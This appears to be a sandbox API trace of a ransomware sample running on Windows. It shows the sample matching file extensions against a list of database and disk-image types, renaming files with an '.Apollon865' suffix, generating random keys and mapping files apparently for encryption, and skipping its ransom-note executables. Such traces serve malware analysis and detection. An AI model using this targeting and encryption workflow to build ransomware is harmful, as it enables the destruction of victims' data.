	[0082.767] lstrlenW (lpString="tgz") returned 3
	[0082.767] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0082.767] lstrlenW (lpString="vbox") returned 4
	[0082.767] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0082.767] lstrlenW (lpString="vdi") returned 3
	[0082.767] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0082.767] lstrlenW (lpString="vhd") returned 3
	[0082.767] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0082.767] lstrlenW (lpString="vhdx") returned 4
	[0082.767] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0082.767] lstrlenW (lpString="avhd") returned 4
	[0082.767] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0082.767] lstrlenW (lpString="db") returned 2
	[0082.767] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0082.767] lstrlenW (lpString="db2") returned 3
	[0082.767] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0082.767] lstrlenW (lpString="db3") returned 3
	[0082.767] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0082.767] lstrlenW (lpString="dbf") returned 3
	[0082.767] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0082.767] lstrlenW (lpString="mdf") returned 3
	[0082.767] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0082.767] lstrlenW (lpString="mdb") returned 3
	[0082.767] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0082.767] lstrlenW (lpString="sql") returned 3
	[0082.767] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0082.767] lstrlenW (lpString="sqlite") returned 6
	[0082.767] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0082.767] lstrlenW (lpString="sqlite3") returned 7
	[0082.767] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0082.767] lstrlenW (lpString="sqlitedb") returned 8
	[0082.768] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0082.768] lstrlenW (lpString="xml") returned 3
	[0082.768] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0082.768] lstrlenW (lpString="$er") returned 3
	[0082.768] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0082.768] lstrlenW (lpString="4dd") returned 3
	[0082.768] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0082.768] lstrlenW (lpString="4dl") returned 3
	[0082.768] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0082.768] lstrlenW (lpString="^^^") returned 3
	[0082.768] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0082.768] lstrlenW (lpString="abs") returned 3
	[0082.768] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0082.768] lstrlenW (lpString="abx") returned 3
	[0082.768] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0082.768] lstrlenW (lpString="accdb") returned 5
	[0082.768] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0082.768] lstrlenW (lpString="accdc") returned 5
	[0082.768] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0082.768] lstrlenW (lpString="accde") returned 5
	[0082.768] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0082.768] lstrlenW (lpString="accdr") returned 5
	[0082.768] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0082.768] lstrlenW (lpString="accdt") returned 5
	[0082.768] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0082.768] lstrlenW (lpString="accdw") returned 5
	[0082.768] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0082.768] lstrlenW (lpString="accft") returned 5
	[0082.768] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0082.768] lstrlenW (lpString="adb") returned 3
	[0082.768] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.768] lstrlenW (lpString="adb") returned 3
	[0082.768] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.768] lstrlenW (lpString="ade") returned 3
	[0082.768] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0082.768] lstrlenW (lpString="adf") returned 3
	[0082.768] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0082.769] lstrlenW (lpString="adn") returned 3
	[0082.769] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0082.769] lstrlenW (lpString="adp") returned 3
	[0082.769] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0082.769] lstrlenW (lpString="alf") returned 3
	[0082.769] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0082.769] lstrlenW (lpString="ask") returned 3
	[0082.769] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0082.769] lstrlenW (lpString="btr") returned 3
	[0082.769] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0082.769] lstrlenW (lpString="cat") returned 3
	[0082.769] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0082.769] lstrlenW (lpString="cdb") returned 3
	[0082.769] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0082.769] lstrlenW (lpString="ckp") returned 3
	[0082.769] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0082.769] lstrlenW (lpString="cma") returned 3
	[0082.769] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0082.769] lstrlenW (lpString="cpd") returned 3
	[0082.769] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0082.769] lstrlenW (lpString="dacpac") returned 6
	[0082.769] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0082.769] lstrlenW (lpString="dad") returned 3
	[0082.769] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0082.769] lstrlenW (lpString="dadiagrams") returned 10
	[0082.769] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0082.769] lstrlenW (lpString="daschema") returned 8
	[0082.769] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0082.769] lstrlenW (lpString="db-journal") returned 10
	[0082.769] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0082.769] lstrlenW (lpString="db-shm") returned 6
	[0082.769] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0082.769] lstrlenW (lpString="db-wal") returned 6
	[0082.769] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0082.769] lstrlenW (lpString="dbc") returned 3
	[0082.769] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0082.769] lstrlenW (lpString="dbs") returned 3
	[0082.770] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0082.770] lstrlenW (lpString="dbt") returned 3
	[0082.770] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0082.770] lstrlenW (lpString="dbv") returned 3
	[0082.770] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0082.770] lstrlenW (lpString="dbx") returned 3
	[0082.770] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0082.770] lstrlenW (lpString="dcb") returned 3
	[0082.770] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0082.770] lstrlenW (lpString="dct") returned 3
	[0082.770] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0082.770] lstrlenW (lpString="dcx") returned 3
	[0082.770] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0082.770] lstrlenW (lpString="ddl") returned 3
	[0082.770] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0082.770] lstrlenW (lpString="dlis") returned 4
	[0082.770] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0082.770] lstrlenW (lpString="dp1") returned 3
	[0082.770] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0082.770] lstrlenW (lpString="dqy") returned 3
	[0082.770] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0082.770] lstrlenW (lpString="dsk") returned 3
	[0082.770] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0082.770] lstrlenW (lpString="dsn") returned 3
	[0082.770] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0082.770] lstrlenW (lpString="dtsx") returned 4
	[0082.770] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0082.770] lstrlenW (lpString="dxl") returned 3
	[0082.770] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0082.770] lstrlenW (lpString="eco") returned 3
	[0082.770] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0082.770] lstrlenW (lpString="ecx") returned 3
	[0082.770] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0082.770] lstrlenW (lpString="edb") returned 3
	[0082.770] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0082.770] lstrlenW (lpString="epim") returned 4
	[0082.770] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0082.770] lstrlenW (lpString="fcd") returned 3
	[0082.771] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0082.771] lstrlenW (lpString="fdb") returned 3
	[0082.771] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0082.771] lstrlenW (lpString="fic") returned 3
	[0082.771] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0082.771] lstrlenW (lpString="flexolibrary") returned 12
	[0082.771] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0082.771] lstrlenW (lpString="fm5") returned 3
	[0082.771] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0082.771] lstrlenW (lpString="fmp") returned 3
	[0082.771] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0082.771] lstrlenW (lpString="fmp12") returned 5
	[0082.771] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0082.771] lstrlenW (lpString="fmpsl") returned 5
	[0082.771] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0082.771] lstrlenW (lpString="fol") returned 3
	[0082.771] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0082.771] lstrlenW (lpString="fp3") returned 3
	[0082.771] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0082.771] lstrlenW (lpString="fp4") returned 3
	[0082.771] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0082.771] lstrlenW (lpString="fp5") returned 3
	[0082.771] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0082.771] lstrlenW (lpString="fp7") returned 3
	[0082.771] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0082.771] lstrlenW (lpString="fpt") returned 3
	[0082.771] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0082.771] lstrlenW (lpString="frm") returned 3
	[0082.771] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0082.771] lstrlenW (lpString="gdb") returned 3
	[0082.771] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.771] lstrlenW (lpString="gdb") returned 3
	[0082.771] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.771] lstrlenW (lpString="grdb") returned 4
	[0082.771] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0082.771] lstrlenW (lpString="gwi") returned 3
	[0082.771] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0082.771] lstrlenW (lpString="hdb") returned 3
	[0082.771] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0082.771] lstrlenW (lpString="his") returned 3
	[0082.772] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0082.772] lstrlenW (lpString="ib") returned 2
	[0082.772] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0082.772] lstrlenW (lpString="idb") returned 3
	[0082.772] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0082.772] lstrlenW (lpString="ihx") returned 3
	[0082.772] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0082.772] lstrlenW (lpString="itdb") returned 4
	[0082.772] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0082.772] lstrlenW (lpString="itw") returned 3
	[0082.772] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0082.772] lstrlenW (lpString="jet") returned 3
	[0082.772] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0082.772] lstrlenW (lpString="jtx") returned 3
	[0082.772] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0082.772] lstrlenW (lpString="kdb") returned 3
	[0082.772] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0082.772] lstrlenW (lpString="kexi") returned 4
	[0082.772] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0082.772] lstrlenW (lpString="kexic") returned 5
	[0082.772] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0082.772] lstrlenW (lpString="kexis") returned 5
	[0082.772] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0082.772] lstrlenW (lpString="lgc") returned 3
	[0082.772] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0082.772] lstrlenW (lpString="lwx") returned 3
	[0082.772] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0082.772] lstrlenW (lpString="maf") returned 3
	[0082.772] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0082.772] lstrlenW (lpString="maq") returned 3
	[0082.772] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0082.772] lstrlenW (lpString="mar") returned 3
	[0082.772] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0082.772] lstrlenW (lpString="marshal") returned 7
	[0082.772] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0082.772] lstrlenW (lpString="mas") returned 3
	[0082.772] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0082.772] lstrlenW (lpString="mav") returned 3
	[0082.772] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0082.773] lstrlenW (lpString="maw") returned 3
	[0082.773] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0082.773] lstrlenW (lpString="mdbhtml") returned 7
	[0082.773] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0082.773] lstrlenW (lpString="mdn") returned 3
	[0082.773] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0082.773] lstrlenW (lpString="mdt") returned 3
	[0082.773] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0082.773] lstrlenW (lpString="mfd") returned 3
	[0082.773] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0082.773] lstrlenW (lpString="mpd") returned 3
	[0082.773] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0082.773] lstrlenW (lpString="mrg") returned 3
	[0082.773] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0082.773] lstrlenW (lpString="mud") returned 3
	[0082.773] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0082.773] lstrlenW (lpString="mwb") returned 3
	[0082.773] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0082.773] lstrlenW (lpString="myd") returned 3
	[0082.773] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0082.773] lstrlenW (lpString="ndf") returned 3
	[0082.773] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0082.773] lstrlenW (lpString="nnt") returned 3
	[0082.773] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0082.773] lstrlenW (lpString="nrmlib") returned 6
	[0082.773] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0082.773] lstrlenW (lpString="ns2") returned 3
	[0082.773] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0082.773] lstrlenW (lpString="ns3") returned 3
	[0082.773] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0082.773] lstrlenW (lpString="ns4") returned 3
	[0082.773] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0082.773] lstrlenW (lpString="nsf") returned 3
	[0082.773] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0082.773] lstrlenW (lpString="nv") returned 2
	[0082.773] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0082.774] lstrlenW (lpString="nv2") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0082.774] lstrlenW (lpString="nwdb") returned 4
	[0082.774] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0082.774] lstrlenW (lpString="nyf") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0082.774] lstrlenW (lpString="odb") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.774] lstrlenW (lpString="odb") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.774] lstrlenW (lpString="oqy") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0082.774] lstrlenW (lpString="ora") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0082.774] lstrlenW (lpString="orx") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0082.774] lstrlenW (lpString="owc") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0082.774] lstrlenW (lpString="p96") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0082.774] lstrlenW (lpString="p97") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0082.774] lstrlenW (lpString="pan") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0082.774] lstrlenW (lpString="pdb") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0082.774] lstrlenW (lpString="pdm") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0082.774] lstrlenW (lpString="pnz") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0082.774] lstrlenW (lpString="qry") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0082.774] lstrlenW (lpString="qvd") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0082.774] lstrlenW (lpString="rbf") returned 3
	[0082.774] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0082.774] lstrlenW (lpString="rctd") returned 4
	[0082.774] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0082.775] lstrlenW (lpString="rod") returned 3
	[0082.775] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0082.775] lstrlenW (lpString="rodx") returned 4
	[0082.775] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0082.775] lstrlenW (lpString="rpd") returned 3
	[0082.775] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0082.775] lstrlenW (lpString="rsd") returned 3
	[0082.775] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0082.775] lstrlenW (lpString="sas7bdat") returned 8
	[0082.775] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0082.775] lstrlenW (lpString="sbf") returned 3
	[0082.775] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0082.775] lstrlenW (lpString="scx") returned 3
	[0082.775] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0082.775] lstrlenW (lpString="sdb") returned 3
	[0082.775] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0082.775] lstrlenW (lpString="sdc") returned 3
	[0082.775] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0082.775] lstrlenW (lpString="sdf") returned 3
	[0082.775] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0082.775] lstrlenW (lpString="sis") returned 3
	[0082.775] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0082.775] lstrlenW (lpString="spq") returned 3
	[0082.775] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0082.775] lstrlenW (lpString="te") returned 2
	[0082.775] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0082.775] lstrlenW (lpString="teacher") returned 7
	[0082.775] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0082.775] lstrlenW (lpString="tmd") returned 3
	[0082.775] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0082.775] lstrlenW (lpString="tps") returned 3
	[0082.775] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0082.775] lstrlenW (lpString="trc") returned 3
	[0082.775] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.775] lstrlenW (lpString="trc") returned 3
	[0082.775] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.775] lstrlenW (lpString="trm") returned 3
	[0082.775] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0082.775] lstrlenW (lpString="udb") returned 3
	[0082.776] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0082.776] lstrlenW (lpString="udl") returned 3
	[0082.776] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0082.776] lstrlenW (lpString="usr") returned 3
	[0082.776] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0082.776] lstrlenW (lpString="v12") returned 3
	[0082.776] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0082.776] lstrlenW (lpString="vis") returned 3
	[0082.776] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0082.776] lstrlenW (lpString="vpd") returned 3
	[0082.776] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0082.776] lstrlenW (lpString="vvv") returned 3
	[0082.776] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0082.776] lstrlenW (lpString="wdb") returned 3
	[0082.776] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0082.776] lstrlenW (lpString="wmdb") returned 4
	[0082.776] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0082.776] lstrlenW (lpString="wrk") returned 3
	[0082.776] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0082.776] lstrlenW (lpString="xdb") returned 3
	[0082.776] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0082.776] lstrlenW (lpString="xld") returned 3
	[0082.776] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0082.776] lstrlenW (lpString="xmlff") returned 5
	[0082.776] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0082.776] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll.Apollon865") returned 84
	[0082.776] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0082.778] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0082.778] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=252256) returned 1
	[0082.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0082.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0082.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0082.778] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0082.779] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0082.779] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.779] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3dc60, lpName=0x0) returned 0x15c
	[0082.781] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3dc60) returned 0x120000
	[0082.805] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0082.806] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0082.806] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0082.806] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0082.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0082.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0082.806] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0082.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0082.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0082.807] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0082.807] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0082.807] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0082.807] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0082.809] CloseHandle (hObject=0x15c) returned 1
	[0082.809] CloseHandle (hObject=0x9c) returned 1
	[0082.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0082.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0082.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0082.812] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb93c90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fb93c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0082.812] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0082.812] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x49f60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MAPIR.DLL.trx_dll", cAlternateFileName="MAPIRD~1.TRX")) returned 1
	[0082.812] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0082.812] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
